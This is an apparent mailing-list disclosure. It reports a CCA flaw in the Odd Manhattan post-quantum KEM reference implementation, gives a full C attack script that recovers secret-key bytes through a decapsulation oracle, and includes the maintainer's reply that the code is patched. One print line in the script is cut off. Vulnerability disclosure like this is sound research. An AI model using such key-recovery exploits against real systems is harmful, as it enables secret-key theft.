Dear Thomas, dear all,

The current reference implementation of Odd Manhattan fails to achieve CCA security. Indeed, even though the implementation re-encrypts during decapsulation, in case of failure, it sets the return flag to -1 *without modifying* the shared secret ss. It is therefore possible to run a CCA attack where one discards the return flag and exploits what is in ss to guess the secret key.

Find attached an attack script to be put in the Reference_Implementation directory and to run as follows:

```
$ gcc -Ofast -DNDEBUG -lcrypto -lgmp attack.c rng.c kem.c -o attack
$ ./attack
```

This attack can be avoided if proper action is taken in case of failure.

Kind regards,
Tancrède Lepoint.

PS: As a side remark, only the first P bytes of the secret key are used during decapsulation, hence Section 4.2 of Algorithm_Specifications.pdf could be revisited.
// Run the attack as follows:
// $ gcc -Ofast -DNDEBUG -lcrypto -lgmp attack.c rng.c kem.c -o attack
// $ ./attack

#include <stdio.h>
#include <string.h>
#include "api.h"
#include "assert.h"
#include "gmp.h"
#include "rng.h"

// global variables
unsigned char pk[CRYPTO_PUBLICKEYBYTES], sk[CRYPTO_SECRETKEYBYTES];
unsigned char ss0[CRYPTO_BYTES];
unsigned char ss1[CRYPTO_BYTES];

// CCA oracle
int oracle_dec(unsigned char* ct) {
    unsigned char ss[CRYPTO_BYTES];
    int ret = crypto_kem_dec(ss, ct, sk);
    // we should have a CCA failure, but we ignore the return code :)
    assert(ret == -1);
    // we should have ss == ss0 or ss == ss1
    assert(memcmp(ss, ss0, CRYPTO_BYTES) == 0 ||
          memcmp(ss, ss1, CRYPTO_BYTES) == 0);
    // return b where ss == ssb
    return (memcmp(ss, ss1, CRYPTO_BYTES) == 0);
}

// Decrypt with guess (from kem.c)
int decrypt_with_guess(mpz_t ciphertext, mpz_t quotient, const mpz_t guess,
const mpz_t det) {
    int r0 = 0;
    mpz_mul(ciphertext, ciphertext, guess);
    mpz_mod(ciphertext, ciphertext, det);
    // Extract m
    mpz_add_ui(quotient, ciphertext, C / 2);
    if (mpz_sizeinbase(quotient, 2) >= N)
        r0 += (char)(mpz_odd_p(ciphertext) == 0); 
    else
        r0 += (char)(mpz_even_p(ciphertext) == 0);
    return r0;
}

int main() {
    // Initialize randomness (attack should work for any value)
    unsigned char entropy_input[48];
    for (int i = 0; i < 48; i++) entropy_input[i] = i;
    randombytes_init(entropy_input, NULL, 256);

    // Get shared keys corresponding to
    // two target seeds; seed = 00...00 and seed = ff...ff00...00
    unsigned char seed[32];
    AES_XOF_struct ctx[1];
    unsigned char diversifier[8] = {0};
    unsigned long maxlen = 4294967295;
memset(seed, 0, 32);
seedexpander_init(ctx, seed, diversifier, maxlen);
memset(ss0, 0, CRYPTO_BYTES);
seedexpander(ctx, ss0, CRYPTO_BYTES);
memset(seed, 255, 16);
memset(seed + 16, 0, 16);
seedexpander_init(ctx, seed, diversifier, maxlen);
memset(ss1, 0, CRYPTO_BYTES);
seedexpander(ctx, ss1, CRYPTO_BYTES);

/// Generate key pair
crypto_kem_keypair(pk, sk);

/// Compute determinant
mpz_t det;
mpz_init(det);
mpz_ui_pow_ui(det, 2, N);
mpz_sub_ui(det, det, C);

/// Attack!
mpz_t guess, ciphertext, quotient;
mpz_inits(guess, ciphertext, quotient, NULL);
unsigned char ct[CRYPTO_CIPHERTEXTBYTES];
unsigned char expected = 0;
for (int i = 0; i < P; i++) {
    printf("%d/%d\n", i + 1, P);
    for (int j = 0; j < 8; j++) {
        if (8 * i + j >= N) break; // we should have everything
        if (8 * i + j == 0) continue; // the attack starts at 1
        // set all ciphertexts to \(2^{8i+j}\)
        mpz_set_ui(ciphertext, 0);
        mpz_setbit(ciphertext, i * 8 + j);
        // transform mpz_t into array of bytes
        memset(ct, 0, CRYPTO_CIPHERTEXTBYTES);
        for (int k = 0; k < CRYPTO_CIPHERTEXTBYTES / P; k++)
            mpz_export(&ct[k * P], NULL, -1, 1, -1, 0, ciphertext);
        // call oracle
        int b = oracle_dec(ct);
        if (b != expected) {
            // update our guess
            mpz_setbit(guess, N - 1 - (i * 8 + j));
        }
        // update the "expected" value
        mpz_clrbit(ciphertext, i * 8 + j);
        mpz_setbit(ciphertext, i * 8 + j + 1);
        expected = decrypt_with_guess(ciphertext, quotient, guess, det);
    }
}

/// Transform mpz_t into array of bytes
unsigned char guessed_sk[CRYPTO_SECRETKEYBYTES];
mpz_export(&guessed_sk, NULL, -1, 1, -1, 0, guess);

/// Success
if (memcmp(guessed_sk, sk, P) == 0) {
    printf("Success! The attack recovered the P first bytes of sk (which are the ")
}

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else {  
    printf("Failure.\n");
    gmp_printf("guess = %Zd\n", guess);
    mpz_t secret_key;
    mpz_init(secret_key);
    mpz_import(secret_key, P, -1, 1, -1, 0, sk);
    gmp_printf("sk=%Zd\n", secret_key);
    gmp_printf("det=%Zd\n", det);
    mpz_clear(secret_key);
}

// OCD
mpz_clears(ciphertext, quotient, guess, det, NULL);
return 0;
Dear Tancède and all,

thank you Tancède for pointing out this issue, the code has been patched now. The implementation has been retested with OpenSSL 1.1.1 and timings has been updated in the documentation. Current implementations and specifications can be found on a dedicated website, please find the link below

Best regards.
Thomas Plantard.